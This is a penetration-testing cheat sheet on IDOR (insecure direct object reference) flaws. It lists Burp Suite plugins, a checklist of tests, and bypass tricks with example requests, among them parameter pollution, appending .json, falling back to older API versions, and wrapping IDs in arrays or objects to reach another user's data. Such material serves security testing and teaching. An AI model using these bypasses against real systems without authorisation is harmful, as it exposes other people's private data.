IDOR

IDOR occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system

Tools

Burp Suite plugin Authorize
Burp Suite plugin Authz
Burp Suite plugin AuthMatrix

Test For IDOR

- Test to change the ID parameter
- Test to add parameters at the endpoints
- Test for HTTP parameter pollution
- Test by adding an extension at the end
- Test with outdated API versions
- Test by wrapping the ID with an array
- Test by wrapping the ID with a JSON object
- Test for JSON parameter pollution
- Test by changing the case
- Test for path traversal
- Test by changing words
- Test by changing methods

Basics

Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit

Bypasses

• Add parameters onto the endpoints for example, if there was

GET /api_v1/messages --> 401
vs 
GET /api_v1/messages?user_id=victim_uuid --> 200

• HTTP Parameter pollution

GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK

GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]

Change the request method:

Switch between POST and PUT to bypass potential controls
Try : GET, POST, PUT, DELETE, PATCH

• Add .json to the endpoint, if it is built in Ruby!

/user_data/2341 --> 401 Unauthorized
/user_data/2341.json --> 200 OK

• Test on outdated API Versions

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK

Wrap the ID with an array.

{"id":111} --> 401 Unauthriozied
{"id":[111]} --> 200 OK

Wrap the ID with a JSON object:

{"id":111} --> 401 Unauthriozied
{"id":{"id":111}} --> 200 OK

JSON Parameter Pollution:

POST /api/get_profile
Content-Type: application/json
{"user_id":<legit_id>,"user_id":<victim_id>}